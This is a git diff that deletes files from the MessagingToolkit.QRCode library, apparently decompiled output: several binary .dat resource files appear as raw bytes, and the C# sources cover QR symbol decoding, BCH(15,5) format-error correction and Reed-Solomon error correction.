CP5IPǖ[\^M~_=ӽ[s PnG Wo>vئ -`)T )ARoOf,.`shQXgHNֵ{tEuuS_WE]`[/w5]n-׹.ڥtI.J!_ Y j~Vz&DidiSSOG6gXGW=~ԑR5i~2\BLwUWpZQ6SJOJ.77|=(C.u2Eʍ01>MHucFb|E -~{, /S/): v.:(H'tGr!B0FeՕ~iv@h'K:3O.Wȼ f ;+w;YϷ O~\XPvLXR6 af -ރ7E􀯽mgkCJfu?7ˢ,5adTYo-^vxQƟ $[ Raj-V( -pඁcO~Ew7c^ݞ}ʙW2GF = hTIZ@ Ǔ:)"X;(s{gV -4rrpҙpH!A. )pxլ=S{%Јz'jf$fVZZa*VPagJV$q1>Ջ- Ҥѧ7OU:m<穿My%h< -װ>?~ * CuaCO8>W0,O ^"rb]̯!ۮn܋2/V~SMp`9}X!#CD?K;C 4BeA d^c3 ExEtՊȩYVe˝ %~Pޝ2jE@3i/v\{(Дru(TrK./f3\ R{0Ez4m,J $'wNkԳ:H̬¡TK0˔]mBσ䦖tJ'?z>1 -[K==J_Hbx}5wh;Go/58#=^!KO a|| ZUSnCcm \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc66.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc66.dat deleted file mode 100644 index 85106ac..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc66.dat +++ /dev/null @@ -1,68 +0,0 @@ - NJOO -B"e9vP&ՁPK _@`/Zt> %}Fv$BBP;L+k*lC㙄1>C {Ct#>wa߻}J(^F=R .ZČ,hB'%/:jbF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>J#jJ6at%4 a\,[( kX.3[5+ul);u䮹*?s<_]7r$7l {KJ$%Ai?[]`m1+`rjދ@{sOQlX -V+!qq;:H5r(\O/(Ҏ`{r(/2G"uk_fjN _ - >>0l$ʪw|Z),긠-vԾi+ dYkPkgɻ붍rΞu[}]>{^Rjw^L#W{^Z&ǔޠ=":T -vhq䁁! A| )9rex-Aeu\PC;j_2P袻 M(R^vԭ~miN1G5ե`i&K>"xU?0ĊEV<1Bvt jCS.Pٞ ^PPE%^dD5y%A:Ԝ._6h33j4^@nkPf~k`onk'Ta$0g/z|SaE5ռ]vNq8s||`ك2HUI#߉ -RXm]ZaV]0)o3UekV`167gkˏ,gy鏤QN]?5.pMZ+lZk@-# ð\fjѯVeGMRA1vI56Ao;8 T~xS>n.H)ny37SlBڧ"F`@$W#`⸰/2!r21m*]]HEJ~&,C}&uÃ&bVԡ 柞I$a \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc68.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc68.dat deleted file mode 100644 index fe53a44..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc68.dat +++ /dev/null @@ -1,69 +0,0 @@ -s '<^李wUk"mpશk&kG3X?$Pw " c s '<^李wUk"mpશk&kG3X?$Pw " c N$qx'DAS(o?EIqL֎=(C(f!~H'D7@:i6D|7f<֐=ǽj7><;K׬Ci1vǑtTv /^2A@m7p% -Fa277Z@ʒ<*H ͼVrmoukp`= 4:k5S&L힦ߍ\Rh6yl\\OZϨ*Ɇ{'򘑌"` RY`2#j.;P`{vP,P T.ҍ¾8)hOd7MQ9=mQd/ 4fșn;HX 8; -;N3m\22_͏( D73}M)U3Yn]j'(l@#_&ɑ?>]##O&i2&笘l!@8_)E Hf8Q-xޠM/JUOx// MyJJgHY5 ͱ}R tX -ЫoDQ ^x ED'DLAh^|6^dTr}OeoGpMu1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lβRdjeFU,1&` xG,]vaځjšh1:}]v1;\ {WɔERG(%1{{@۹7_t$iS*;F\|Wؼ~TQt+^ug3(քż:)&ѱMz+rpu #Ļ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc7.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc7.dat deleted file mode 100644 index 5d50131..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.rsc7.dat +++ /dev/null @@ -1,8 +0,0 @@ -z Duz Du)Uꁎ̟R, ɞ'I{:#`{[1VIX>S^!Ne^yE>tFAxlGS3߶bEi٣U4܉6pv]|Ǧ"}cB89=|}.m ÈɁU|.~kj؎fB*q#E9g0c$ҫ[9}h$0v,slku`Qetb7Z!DG%;KbLP p%rv.6z'%3c8e\ @~;5 uw+\repyLZАQf7 T&sS'[FXF r`q - HKCp68 éGܶIr ɑyH`'X7eW(d|ݙ2U/֐)Zi;ʃfwnBi^ʿ鿑J%5?vĘO g ` JjbDAz5\l唖W(NJfƋm -gpa,uc{%Y︩" 4vjKa X2+>IT`p5NŰDZn8;s|N<6F P/}/\kOd^0+=MR"Gf8vYB]Rn,#OStDE3͕uLx~9c 8C&-hHM c?r -;Jj~A_ :1-]@1&(;md0R*08ݔUJyk],jw״ӳ51C"P=JKنHǜϑ0Nj 3G{tI/e2>XkHT-kJ}ljmO$/hw7D2iM޾9-h6?LAd>鸌 KV4|)NSwSjsx׺za7 P[Ȼ[.I5F~6O(]M: ۖmZA2)a9Fhg&Չ' qxzdӎYb'Q]=&ܮT\F -{4o_A$*MC^Er:ZxNQ%C -$%Qƻ_ʂΜqn eAgb/XxU^sɍ}.#BTIL -PT1_DC,6 ((Image)image).Width; - - public virtual int Height => ((Image)image).Height; - - public QRCodeBitmapImage(Bitmap image) - { - this.image = image; - } - - public virtual int getPixel(int x, int y) - { - return image.GetPixel(x, y).ToArgb(); - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Data/QRCodeImage.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Data/QRCodeImage.cs deleted file mode 100644 index 28820e1..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Data/QRCodeImage.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace MessagingToolkit.QRCode.Codec.Data; - -public interface QRCodeImage -{ - int Width { get; } - - int Height { get; } - - int getPixel(int x, int y); -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Data/QRCodeSymbol.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Data/QRCodeSymbol.cs deleted file mode 100644 index 43a8c7d..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Data/QRCodeSymbol.cs +++ /dev/null @@ -1,507 +0,0 @@ -using System; -using System.Collections; -using MessagingToolkit.QRCode.Codec.Ecc; -using MessagingToolkit.QRCode.Codec.Reader.Pattern; -using MessagingToolkit.QRCode.Codec.Util; -using MessagingToolkit.QRCode.Geom; - -namespace MessagingToolkit.QRCode.Codec.Data; - -public class QRCodeSymbol -{ - internal int version; - - internal int errorCollectionLevel; - - internal int maskPattern; - - internal int dataCapacity; - - internal bool[][] moduleMatrix; - - internal int width; - - internal int height; - - internal Point[][] alignmentPattern; - - internal int[][] numErrorCollectionCode = new int[40][] - { - new int[4] { 7, 10, 13, 17 }, - new int[4] { 10, 16, 22, 28 }, - new int[4] { 15, 26, 36, 44 }, - new int[4] { 20, 36, 52, 64 }, - new int[4] { 26, 48, 72, 88 }, - new int[4] { 36, 64, 96, 112 }, - new int[4] { 40, 72, 108, 130 }, - new int[4] { 48, 88, 132, 156 }, - new int[4] { 60, 110, 160, 192 }, - new int[4] { 72, 130, 192, 224 }, - new int[4] { 80, 150, 224, 264 }, - new int[4] { 96, 176, 260, 308 }, - new int[4] { 104, 198, 288, 352 }, - new int[4] { 120, 216, 320, 384 }, - new int[4] { 132, 240, 360, 432 }, - new int[4] { 144, 280, 408, 480 }, - new int[4] { 168, 308, 448, 532 }, - new int[4] { 180, 338, 504, 588 }, - new int[4] { 196, 364, 546, 650 }, - new int[4] { 224, 416, 600, 700 }, - new int[4] { 224, 442, 644, 750 }, - new int[4] { 252, 476, 690, 816 }, - new int[4] { 270, 504, 750, 900 }, - new int[4] { 300, 560, 810, 960 }, - new int[4] { 312, 588, 870, 1050 }, - new int[4] { 336, 644, 952, 1110 }, - new int[4] { 360, 700, 1020, 1200 }, - new int[4] { 390, 728, 1050, 1260 }, - new int[4] { 420, 784, 1140, 1350 }, - new int[4] { 450, 812, 1200, 1440 }, - new int[4] { 480, 868, 1290, 1530 }, - new int[4] { 510, 924, 1350, 1620 }, - new int[4] { 540, 980, 1440, 1710 }, - new int[4] { 570, 1036, 1530, 1800 }, - new int[4] { 570, 1064, 1590, 1890 }, - new int[4] { 600, 1120, 1680, 1980 }, - new int[4] { 630, 1204, 1770, 2100 }, - new int[4] { 660, 1260, 1860, 2220 }, - new int[4] { 720, 1316, 1950, 2310 }, - new int[4] { 750, 1372, 2040, 2430 } - }; - - internal int[][] numRSBlocks = new int[40][] - { - new int[4] { 1, 1, 1, 1 }, - new int[4] { 1, 1, 1, 1 }, - new int[4] { 1, 1, 2, 2 }, - new int[4] { 1, 2, 2, 4 }, - new int[4] { 1, 2, 4, 4 }, - new int[4] { 2, 4, 4, 4 }, - new int[4] { 2, 4, 6, 5 }, - new int[4] { 2, 4, 6, 6 }, - new int[4] { 2, 5, 8, 8 }, - new int[4] { 4, 5, 8, 8 }, - new int[4] { 4, 5, 8, 11 }, - new int[4] { 4, 8, 10, 11 }, - new int[4] { 4, 9, 12, 16 }, - new int[4] { 4, 9, 16, 16 }, - new int[4] { 6, 10, 12, 18 }, - new int[4] { 6, 10, 17, 16 }, - new int[4] { 6, 11, 16, 19 }, - new int[4] { 6, 13, 18, 21 }, - new int[4] { 7, 14, 21, 25 }, - new int[4] { 8, 16, 20, 25 }, - new int[4] { 8, 17, 23, 25 }, - new int[4] { 9, 17, 23, 34 }, - new int[4] { 9, 18, 25, 30 }, - new int[4] { 10, 20, 27, 32 }, - new int[4] { 12, 21, 29, 35 }, - new int[4] { 12, 23, 34, 37 }, - new int[4] { 12, 25, 34, 40 }, - new int[4] { 13, 26, 35, 42 }, - new int[4] { 14, 28, 38, 45 }, - new int[4] { 15, 29, 40, 48 }, - new int[4] { 16, 31, 43, 51 }, - new int[4] { 17, 33, 45, 54 }, - new int[4] { 18, 35, 48, 57 }, - new int[4] { 19, 37, 51, 60 }, - new int[4] { 19, 38, 53, 63 }, - new int[4] { 20, 40, 56, 66 }, - new int[4] { 21, 43, 59, 70 }, - new int[4] { 22, 45, 62, 74 }, - new int[4] { 24, 47, 65, 77 }, - new int[4] { 25, 49, 68, 81 } - }; - - public virtual int NumErrorCollectionCode => numErrorCollectionCode[version - 1][errorCollectionLevel]; - - public virtual int NumRSBlocks => numRSBlocks[version - 1][errorCollectionLevel]; - - public virtual int Version => version; - - public virtual string VersionReference - { - get - { - char[] array = new char[4] { 'L', 'M', 'Q', 'H' }; - return Convert.ToString(version) + "-" + array[errorCollectionLevel]; - } - } - - public virtual Point[][] AlignmentPattern => alignmentPattern; - - public virtual int DataCapacity => dataCapacity; - - public virtual int ErrorCollectionLevel => errorCollectionLevel; - - public virtual int MaskPatternReferer => maskPattern; - - public virtual string MaskPatternRefererAsString - { - get - { - string text = Convert.ToString(MaskPatternReferer, 2); - int length = text.Length; - for (int i = 0; i < 3 - length; i++) - { - text = "0" + text; - } - return text; - } - } - - public virtual int Width => width; - - public virtual int Height => height; - - public virtual int[] Blocks - { - get - { - int num = Width; - int num2 = Height; - int num3 = num - 1; - int num4 = num2 - 1; - ArrayList arrayList = ArrayList.Synchronized(new ArrayList(10)); - ArrayList arrayList2 = ArrayList.Synchronized(new ArrayList(10)); - int num5 = 0; - int num6 = 7; - int num7 = 0; - bool flag = true; - bool flag2 = false; - bool flag3 = flag; - do - { - arrayList.Add(getElement(num3, num4)); - if (getElement(num3, num4)) - { - num5 += 1 << num6; - } - num6--; - if (num6 == -1) - { - arrayList2.Add(num5); - num6 = 7; - num5 = 0; - } - do - { - if (flag3 == flag) - { - if ((num3 + num7) % 2 == 0) - { - num3--; - continue; - } - if (num4 > 0) - { - num3++; - num4--; - continue; - } - num3--; - if (num3 == 6) - { - num3--; - num7 = 1; - } - flag3 = flag2; - } - else if ((num3 + num7) % 2 == 0) - { - num3--; - } - else if (num4 < num2 - 1) - { - num3++; - num4++; - } - else - { - num3--; - if (num3 == 6) - { - num3--; - num7 = 1; - } - flag3 = flag; - } - } - while (isInFunctionPattern(num3, num4)); - } - while (num3 != -1); - int[] array = new int[arrayList2.Count]; - for (int i = 0; i < arrayList2.Count; i++) - { - int num8 = (int)arrayList2[i]; - array[i] = num8; - } - return array; - } - } - - public virtual bool getElement(int x, int y) - { - return moduleMatrix[x][y]; - } - - public QRCodeSymbol(bool[][] moduleMatrix) - { - this.moduleMatrix = moduleMatrix; - width = moduleMatrix.Length; - height = moduleMatrix[0].Length; - initialize(); - } - - internal virtual void initialize() - { - version = (width - 17) / 4; - Point[][] array = new Point[1][]; - for (int i = 0; i < 1; i++) - { - array[i] = new Point[1]; - } - int[] array2 = new int[1]; - if (version >= 2 && version <= 40) - { - array2 = LogicalSeed.getSeed(version); - Point[][] array3 = new Point[array2.Length][]; - for (int j = 0; j < array2.Length; j++) - { - array3[j] = new Point[array2.Length]; - } - array = array3; - } - for (int k = 0; k < array2.Length; k++) - { - for (int l = 0; l < array2.Length; l++) - { - array[l][k] = new Point(array2[l], array2[k]); - } - } - alignmentPattern = array; - dataCapacity = calcDataCapacity(); - bool[] formatInformation = readFormatInformation(); - decodeFormatInformation(formatInformation); - unmask(); - } - - internal virtual bool[] readFormatInformation() - { - bool[] array = new bool[15]; - for (int i = 0; i <= 5; i++) - { - array[i] = getElement(8, i); - } - array[6] = getElement(8, 7); - array[7] = getElement(8, 8); - array[8] = getElement(7, 8); - for (int i = 9; i <= 14; i++) - { - array[i] = getElement(14 - i, 8); - } - int number = 21522; - for (int i = 0; i <= 14; i++) - { - bool flag = false; - flag = (SystemUtils.URShift(number, i) & 1) == 1; - if (array[i] == flag) - { - array[i] = false; - } - else - { - array[i] = true; - } - } - BCH15_5 bCH15_ = new BCH15_5(array); - bool[] array2 = bCH15_.correct(); - bool[] array3 = new bool[5]; - for (int i = 0; i < 5; i++) - { - array3[i] = array2[10 + i]; - } - return array3; - } - - internal virtual void unmask() - { - bool[][] array = generateMaskPattern(); - int num = Width; - for (int i = 0; i < num; i++) - { - for (int j = 0; j < num; j++) - { - if (array[j][i]) - { - reverseElement(j, i); - } - } - } - } - - internal virtual bool[][] generateMaskPattern() - { - int maskPatternReferer = MaskPatternReferer; - int num = Width; - int num2 = Height; - bool[][] array = new bool[num][]; - for (int i = 0; i < num; i++) - { - array[i] = new bool[num2]; - } - for (int j = 0; j < num2; j++) - { - for (int k = 0; k < num; k++) - { - if (isInFunctionPattern(k, j)) - { - continue; - } - switch (maskPatternReferer) - { - case 0: - if ((j + k) % 2 == 0) - { - array[k][j] = true; - } - break; - case 1: - if (j % 2 == 0) - { - array[k][j] = true; - } - break; - case 2: - if (k % 3 == 0) - { - array[k][j] = true; - } - break; - case 3: - if ((j + k) % 3 == 0) - { - array[k][j] = true; - } - break; - case 4: - if ((j / 2 + k / 3) % 2 == 0) - { - array[k][j] = true; - } - break; - case 5: - if (j * k % 2 + j * k % 3 == 0) - { - array[k][j] = true; - } - break; - case 6: - if ((j * k % 2 + j * k % 3) % 2 == 0) - { - array[k][j] = true; - } - break; - case 7: - if ((j * k % 3 + (j + k) % 2) % 2 == 0) - { - array[k][j] = true; - } - break; - } - } - } - return array; - } - - private int calcDataCapacity() - { - int num = 0; - int num2 = 0; - int num3 = Version; - num2 = ((num3 > 6) ? 67 : 31); - int num4 = num3 / 7 + 2; - int num5 = ((num3 == 1) ? 192 : (192 + (num4 * num4 - 3) * 25)); - num = num5 + 8 * num3 + 2 - (num4 - 2) * 10; - return (width * width - num - num2) / 8; - } - - internal virtual void decodeFormatInformation(bool[] formatInformation) - { - if (!formatInformation[4]) - { - if (formatInformation[3]) - { - errorCollectionLevel = 0; - } - else - { - errorCollectionLevel = 1; - } - } - else if (formatInformation[3]) - { - errorCollectionLevel = 2; - } - else - { - errorCollectionLevel = 3; - } - for (int num = 2; num >= 0; num--) - { - if (formatInformation[num]) - { - maskPattern += 1 << num; - } - } - } - - public virtual void reverseElement(int x, int y) - { - moduleMatrix[x][y] = !moduleMatrix[x][y]; - } - - public virtual bool isInFunctionPattern(int targetX, int targetY) - { - if (targetX < 9 && targetY < 9) - { - return true; - } - if (targetX > Width - 9 && targetY < 9) - { - return true; - } - if (targetX < 9 && targetY > Height - 9) - { - return true; - } - if (version >= 7) - { - if (targetX > Width - 12 && targetY < 6) - { - return true; - } - if (targetX < 6 && targetY > Height - 12) - { - return true; - } - } - if (targetX == 6 || targetY == 6) - { - return true; - } - Point[][] array = AlignmentPattern; - int num = array.Length; - for (int i = 0; i < num; i++) - { - for (int j = 0; j < num; j++) - { - if ((j != 0 || i != 0) && (j != num - 1 || i != 0) && (j != 0 || i != num - 1) && Math.Abs(array[j][i].X - targetX) < 3 && Math.Abs(array[j][i].Y - targetY) < 3) - { - return true; - } - } - } - return false; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Ecc/BCH15_5.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Ecc/BCH15_5.cs deleted file mode 100644 index 0b9cac8..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Ecc/BCH15_5.cs +++ /dev/null @@ -1,229 +0,0 @@ -namespace MessagingToolkit.QRCode.Codec.Ecc; - -public class BCH15_5 -{ - internal int[][] gf16; - - internal bool[] recieveData; - - internal int numCorrectedError; - - internal static string[] bitName = new string[15] - { - "c0", "c1", "c2", "c3", "c4", "c5", "c6", "c7", "c8", "c9", - "d0", "d1", "d2", "d3", "d4" - }; - - public virtual int NumCorrectedError => numCorrectedError; - - public BCH15_5(bool[] source) - { - gf16 = createGF16(); - recieveData = source; - } - - public virtual bool[] correct() - { - int[] s = calcSyndrome(recieveData); - int[] errorPos = detectErrorBitPosition(s); - return correctErrorBit(recieveData, errorPos); - } - - internal virtual int[][] createGF16() - { - gf16 = new int[16][]; - for (int i = 0; i < 16; i++) - { - gf16[i] = new int[4]; - } - int[] array = new int[4] { 1, 1, 0, 0 }; - for (int i = 0; i < 4; i++) - { - gf16[i][i] = 1; - } - for (int i = 0; i < 4; i++) - { - gf16[4][i] = array[i]; - } - for (int i = 5; i < 16; i++) - { - for (int j = 1; j < 4; j++) - { - gf16[i][j] = gf16[i - 1][j - 1]; - } - if (gf16[i - 1][3] == 1) - { - for (int j = 0; j < 4; j++) - { - gf16[i][j] = (gf16[i][j] + array[j]) % 2; - } - } - } - return gf16; - } - - internal virtual int searchElement(int[] x) - { - int i; - for (i = 0; i < 15 && (x[0] != gf16[i][0] || x[1] != gf16[i][1] || x[2] != gf16[i][2] || x[3] != gf16[i][3]); i++) - { - } - return i; - } - - internal virtual int[] getCode(int input) - { - int[] array = new int[15]; - int[] array2 = new int[8]; - for (int i = 0; i < 15; i++) - { - int num = array2[7]; - int num2; - int num3; - if (i < 7) - { - num2 = (input >> 6 - i) % 2; - num3 = (num2 + num) % 2; - } - else - { - num2 = num; - num3 = 0; - } - array2[7] = (array2[6] + num3) % 2; - array2[6] = (array2[5] + num3) % 2; - array2[5] = array2[4]; - array2[4] = (array2[3] + num3) % 2; - array2[3] = array2[2]; - array2[2] = array2[1]; - array2[1] = array2[0]; - array2[0] = num3; - array[14 - i] = num2; - } - return array; - } - - internal virtual int addGF(int arg1, int arg2) - { - int[] array = new int[4]; - for (int i = 0; i < 4; i++) - { - int num = ((arg1 >= 0 && arg1 < 15) ? gf16[arg1][i] : 0); - int num2 = ((arg2 >= 0 && arg2 < 15) ? gf16[arg2][i] : 0); - array[i] = (num + num2) % 2; - } - return searchElement(array); - } - - internal virtual int[] calcSyndrome(bool[] y) - { - int[] array = new int[5]; - int[] array2 = new int[4]; - int i; - for (i = 0; i < 15; i++) - { - if (y[i]) - { - for (int j = 0; j < 4; j++) - { - array2[j] = (array2[j] + gf16[i][j]) % 2; - } - } - } - i = searchElement(array2); - array[0] = ((i >= 15) ? (-1) : i); - array2 = new int[4]; - for (i = 0; i < 15; i++) - { - if (y[i]) - { - for (int j = 0; j < 4; j++) - { - array2[j] = (array2[j] + gf16[i * 3 % 15][j]) % 2; - } - } - } - i = searchElement(array2); - array[2] = ((i >= 15) ? (-1) : i); - array2 = new int[4]; - for (i = 0; i < 15; i++) - { - if (y[i]) - { - for (int j = 0; j < 4; j++) - { - array2[j] = (array2[j] + gf16[i * 5 % 15][j]) % 2; - } - } - } - i = searchElement(array2); - array[4] = ((i >= 15) ? (-1) : i); - return array; - } - - internal virtual int[] calcErrorPositionVariable(int[] s) - { - int[] array = new int[4] - { - s[0], - 0, - 0, - 0 - }; - int arg = (s[0] + s[1]) % 15; - int num = addGF(s[2], arg); - num = ((num >= 15) ? (-1) : num); - arg = (s[2] + s[1]) % 15; - int num2 = addGF(s[4], arg); - num2 = ((num2 >= 15) ? (-1) : num2); - array[1] = ((num2 < 0 && num < 0) ? (-1) : ((num2 - num + 15) % 15)); - arg = (s[1] + array[0]) % 15; - int arg2 = addGF(s[2], arg); - arg = (s[0] + array[1]) % 15; - array[2] = addGF(arg2, arg); - return array; - } - - internal virtual int[] detectErrorBitPosition(int[] s) - { - int[] array = calcErrorPositionVariable(s); - int[] array2 = new int[4]; - if (array[0] == -1) - { - return array2; - } - if (array[1] == -1) - { - array2[0] = 1; - array2[1] = array[0]; - return array2; - } - for (int i = 0; i < 15; i++) - { - int arg = i * 3 % 15; - int num = i * 2 % 15; - int num2 = i; - int arg2 = (array[0] + num) % 15; - int arg3 = addGF(arg, arg2); - arg2 = (array[1] + num2) % 15; - int arg4 = addGF(arg2, array[2]); - int num3 = addGF(arg3, arg4); - if (num3 >= 15) - { - array2[0]++; - array2[array2[0]] = i; - } - } - return array2; - } - - internal virtual bool[] correctErrorBit(bool[] y, int[] errorPos) - { - for (int i = 1; i <= errorPos[0]; i++) - { - y[errorPos[i]] = !y[errorPos[i]]; - } - numCorrectedError = errorPos[0]; - return y; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Ecc/ReedSolomon.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Ecc/ReedSolomon.cs deleted file mode 100644 index 0f5fa53..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/Ecc/ReedSolomon.cs +++ /dev/null @@ -1,351 +0,0 @@ -namespace MessagingToolkit.QRCode.Codec.Ecc; - -public class ReedSolomon -{ - internal int[] y; - - internal int[] gexp = new int[512]; - - internal int[] glog = new int[256]; - - internal int NPAR; - - internal int MAXDEG; - - internal int[] synBytes; - - internal int[] Lambda; - - internal int[] Omega; - - internal int[] ErrorLocs = new int[256]; - - internal int NErrors; - - internal int[] ErasureLocs = new int[256]; - - internal int NErasures = 0; - - internal bool correctionSucceeded = true; - - public virtual bool CorrectionSucceeded => correctionSucceeded; - - public virtual int NumCorrectedErrors => NErrors; - - public ReedSolomon(int[] source, int NPAR) - { - initializeGaloisTables(); - y = source; - this.NPAR = NPAR; - MAXDEG = NPAR * 2; - synBytes = new int[MAXDEG]; - Lambda = new int[MAXDEG]; - Omega = new int[MAXDEG]; - } - - internal virtual void initializeGaloisTables() - { - int num2; - int num3; - int num4; - int num5; - int num6; - int num7; - int num = (num2 = (num3 = (num4 = (num5 = (num6 = (num7 = 0)))))); - int num8 = 1; - gexp[0] = 1; - gexp[255] = gexp[0]; - glog[0] = 0; - for (int i = 1; i < 256; i++) - { - int num9 = num7; - num7 = num6; - num6 = num5; - num5 = num4; - num4 = num3 ^ num9; - num3 = num2 ^ num9; - num2 = num ^ num9; - num = num8; - num8 = num9; - gexp[i] = num8 + num * 2 + num2 * 4 + num3 * 8 + num4 * 16 + num5 * 32 + num6 * 64 + num7 * 128; - gexp[i + 255] = gexp[i]; - } - for (int i = 1; i < 256; i++) - { - for (int j = 0; j < 256; j++) - { - if (gexp[j] == i) - { - glog[i] = j; - break; - } - } - } - } - - internal virtual int gmult(int a, int b) - { - if (a == 0 || b == 0) - { - return 0; - } - int num = glog[a]; - int num2 = glog[b]; - return gexp[num + num2]; - } - - internal virtual int ginv(int elt) - { - return gexp[255 - glog[elt]]; - } - - internal virtual void decode_data(int[] data) - { - for (int i = 0; i < MAXDEG; i++) - { - int num = 0; - for (int j = 0; j < data.Length; j++) - { - num = data[j] ^ gmult(gexp[i + 1], num); - } - synBytes[i] = num; - } - } - - public virtual void correct() - { - decode_data(y); - correctionSucceeded = true; - bool flag = false; - for (int i = 0; i < synBytes.Length; i++) - { - if (synBytes[i] != 0) - { - flag = true; - } - } - if (flag) - { - correctionSucceeded = correct_errors_erasures(y, y.Length, 0, new int[1]); - } - } - - internal virtual void Modified_Berlekamp_Massey() - { - int[] array = new int[MAXDEG]; - int[] array2 = new int[MAXDEG]; - int[] array3 = new int[MAXDEG]; - int[] array4 = new int[MAXDEG]; - init_gamma(array4); - copy_poly(array3, array4); - mul_z_poly(array3); - copy_poly(array, array4); - int num = -1; - int num2 = NErasures; - for (int i = NErasures; i < 8; i++) - { - int num3 = compute_discrepancy(array, synBytes, num2, i); - if (num3 != 0) - { - for (int j = 0; j < MAXDEG; j++) - { - array2[j] = array[j] ^ gmult(num3, array3[j]); - } - if (num2 < i - num) - { - int num4 = i - num; - num = i - num2; - for (int j = 0; j < MAXDEG; j++) - { - array3[j] = gmult(array[j], ginv(num3)); - } - num2 = num4; - } - for (int j = 0; j < MAXDEG; j++) - { - array[j] = array2[j]; - } - } - mul_z_poly(array3); - } - for (int j = 0; j < MAXDEG; j++) - { - Lambda[j] = array[j]; - } - compute_modified_omega(); - } - - internal virtual void compute_modified_omega() - { - int[] array = new int[MAXDEG * 2]; - mult_polys(array, Lambda, synBytes); - zero_poly(Omega); - for (int i = 0; i < NPAR; i++) - { - Omega[i] = array[i]; - } - } - - internal virtual void mult_polys(int[] dst, int[] p1, int[] p2) - { - int[] array = new int[MAXDEG * 2]; - for (int i = 0; i < MAXDEG * 2; i++) - { - dst[i] = 0; - } - for (int i = 0; i < MAXDEG; i++) - { - for (int j = MAXDEG; j < MAXDEG * 2; j++) - { - array[j] = 0; - } - for (int j = 0; j < MAXDEG; j++) - { - array[j] = gmult(p2[j], p1[i]); - } - for (int j = MAXDEG * 2 - 1; j >= i; j--) - { - array[j] = array[j - i]; - } - for (int j = 0; j < i; j++) - { - array[j] = 0; - } - for (int j = 0; j < MAXDEG * 2; j++) - { - dst[j] ^= array[j]; - } - } - } - - internal virtual void init_gamma(int[] gamma) - { - int[] array = new int[MAXDEG]; - zero_poly(gamma); - zero_poly(array); - gamma[0] = 1; - for (int i = 0; i < NErasures; i++) - { - copy_poly(array, gamma); - scale_poly(gexp[ErasureLocs[i]], array); - mul_z_poly(array); - add_polys(gamma, array); - } - } - - internal virtual void compute_next_omega(int d, int[] A, int[] dst, int[] src) - { - for (int i = 0; i < MAXDEG; i++) - { - dst[i] = src[i] ^ gmult(d, A[i]); - } - } - - internal virtual int compute_discrepancy(int[] lambda, int[] S, int L, int n) - { - int num = 0; - for (int i = 0; i <= L; i++) - { - num ^= gmult(lambda[i], S[n - i]); - } - return num; - } - - internal virtual void add_polys(int[] dst, int[] src) - { - for (int i = 0; i < MAXDEG; i++) - { - dst[i] ^= src[i]; - } - } - - internal virtual void copy_poly(int[] dst, int[] src) - { - for (int i = 0; i < MAXDEG; i++) - { - dst[i] = src[i]; - } - } - - internal virtual void scale_poly(int k, int[] poly) - { - for (int i = 0; i < MAXDEG; i++) - { - poly[i] = gmult(k, poly[i]); - } - } - - internal virtual void zero_poly(int[] poly) - { - for (int i = 0; i < MAXDEG; i++) - { - poly[i] = 0; - } - } - - internal virtual void mul_z_poly(int[] src) - { - for (int num = MAXDEG - 1; num > 0; num--) - { - src[num] = src[num - 1]; - } - src[0] = 0; - } - - internal virtual void Find_Roots() - { - NErrors = 0; - for (int i = 1; i < 256; i++) - { - int num = 0; - for (int j = 0; j < NPAR + 1; j++) - { - num ^= gmult(gexp[j * i % 255], Lambda[j]); - } - if (num == 0) - { - ErrorLocs[NErrors] = 255 - i; - NErrors++; - } - } - } - - internal virtual bool correct_errors_erasures(int[] codeword, int csize, int nerasures, int[] erasures) - { - NErasures = nerasures; - for (int i = 0; i < NErasures; i++) - { - ErasureLocs[i] = erasures[i]; - } - Modified_Berlekamp_Massey(); - Find_Roots(); - if (NErrors <= NPAR || NErrors > 0) - { - for (int j = 0; j < NErrors; j++) - { - if (ErrorLocs[j] >= csize) - { - return false; - } - } - for (int j = 0; j < NErrors; j++) - { - int i = ErrorLocs[j]; - int num = 0; - for (int k = 0; k < MAXDEG; k++) - { - num ^= gmult(Omega[k], gexp[(255 - i) * k % 255]); - } - int num2 = 0; - for (int k = 1; k < MAXDEG; k += 2) - { - num2 ^= gmult(Lambda[k], gexp[(255 - i) * (k - 1) % 255]); - } - int num3 = gmult(num, ginv(num2)); - codeword[csize - i - 1] ^= num3; - } - return true; - } - return false; - } -} diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/QRCodeDecoder.cs b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit/QRCode/Codec/QRCodeDecoder.cs deleted file mode 100644 index a2321b8..0000000 --- 